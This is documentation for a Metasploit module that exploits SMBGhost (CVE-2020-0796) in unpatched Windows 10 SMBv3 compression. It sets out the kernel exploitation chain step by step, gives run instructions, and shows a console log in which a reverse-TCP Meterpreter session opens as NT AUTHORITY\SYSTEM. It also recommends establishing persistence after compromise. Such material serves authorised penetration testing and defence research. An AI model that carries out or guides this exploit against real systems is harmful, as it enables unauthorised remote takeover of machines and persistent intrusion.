## Vulnerable Application
A vulnerability exists within the Microsoft Server Message Block 3.1.1 (SMBv3) protocol that can be leveraged to
execute code on a vulnerable server. This remove exploit implementation leverages this flaw to execute code
in the context of the kernel, finally yielding a session as NT AUTHORITY\SYSTEM in spoolsv.exe.

This vulnerability was patched in March 2020 but prior to that enough information was publicly available to trigger a
crash which led to pre-patch workarounds. The official recommendation from [Microsoft][1] at the time was to disable
SMBv3 compression, a feature which this exploit relies on. The module's check method will determine this value using the
registry to identify whether or not compression has been disabled.

Other recommendations included restricting access to TCP port 445 via firewalls.

### Warning
There is a high probability that even when the exploit is successful the remote target will crash within about 90
minutes. It is recommended that after a successful compromise, a persistence mechanism be established and the system be
rebooted to avoid a Blue Screen of Death (BSOD).

### Installation And Setup
Windows 10 versions 1903 and 1909 (without the patch) are vulnerable out of the box. The default setting is to have
SMBv3 compression enabled.

### Exploit Internals

The exploit is based on [this PoC][2] and [this research][3]. At a high level the steps are:

1. Leverage the vulnerability to create a read primitive for physical memory
    1. Use the vulnerability to write an `MDL` describing the physical memory to read into `KUSER_SHARED_DATA`
        * `KUSER_SHARED_DATA` is used because it exists at a known address and has read/write permissions
    1. Use the vulnerability to corrupt a `SRVNET_BUFFER_HDR` to reference the previously written MDL
    1. Attempt to negotiate with the remote server, causing the desired memory to be returned as the response
1. Use the read primitive to scan for the low stub, fingerprinting it based on a known value
1. Extract the address of the page map level 4 (PML4) from the low stub once found
    1. Store the address of the low stub because it exists within the HAL heap
1. Scan the PML4 for its self-reference entry to leak its address in virtual memory, this is also used to translate
  virtual addresses into physical addresses in the future
1. Scan the HAL heap looking for the `hal!HalpInterruptController`, fingerprinting it based on a known pattern
1. Extract the address of the `hal!HalpApicRequestInterrupt` from the `hal!HalpInterruptController`
1. Use the write primitive to overwrite the PTE for `KUSER_SHARED_DATA`, granting it the necessary privileges to be
  executable
1. Copy the shellcode (which is a combination of a kernel mode bootstrap and the usermode payload from Metasploit) to
  `KUSER_SHARED_DATA`
1. Use the write primitive to overwrite the pointer of `hal!HalpApicRequestInterrupt` in `hal!HalpInterruptController`,
  replacing it with a pointer to the shellcode
1. The shellcode queues an APC to inject the usermode payload into a spoolsv.exe instance with NT AUTHORITY\SYSTEM
  privileges

## Verification Steps

1. Start msfconsole
1. Do: `use exploit/windows/smb/cve_2020_0796_smbghost`
1. Set the `RHOSTS` and `PAYLOAD` options
1. Do: `run`
1. You should get a shell, the exploitation process may take a few minutes

## Scenarios

### Windows 10 Version 1909 Build 18363.418 x64

```
msf6 > use exploit/windows/smb/cve_2020_0796_smbghost
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set RHOSTS 192.168.159.76
RHOSTS => 192.168.159.76
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(windows/smb/cve_2020_0796_smbghost) > exploit

[*] Started reverse TCP handler on 192.168.159.128:4444 
[*] 192.168.159.76:445 - Executing automatic check (disable AutoCheck to override)
[!] 192.168.159.76:445 - The service is running, but could not be validated.
[*] 192.168.159.76:445 - Found low stub at physical address 0x0000000000013000
[*] 192.168.159.76:445 - PML4 at 0x00000000001ad000 (UEFI)
[*] 192.168.159.76:445 - HAL heap found at 0xfffff7cd80000000
[*] 192.168.159.76:445 - Found PML4 self-reference entry at 0x0122
[*] 192.168.159.76:445 - Found hal!HalpInterruptController at 0xfffff7cd80001478
[*] 192.168.159.76:445 - Found hal!HalpApicRequestInterrupt at 0xfffff8035f6b7bb0
[*] 192.168.159.76:445 - KUSER_SHARED_DATA PTE NX bit cleared!
[*] Sending stage (200262 bytes) to 192.168.159.76
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.76:49675) at 2021-04-09 14:01:43 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : DESKTOP-RTCRBEV
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > 
```

[1]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/adv200005
[2]: https://github.com/chompie1337/SMBGhost_RCE_PoC
[3]: https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html
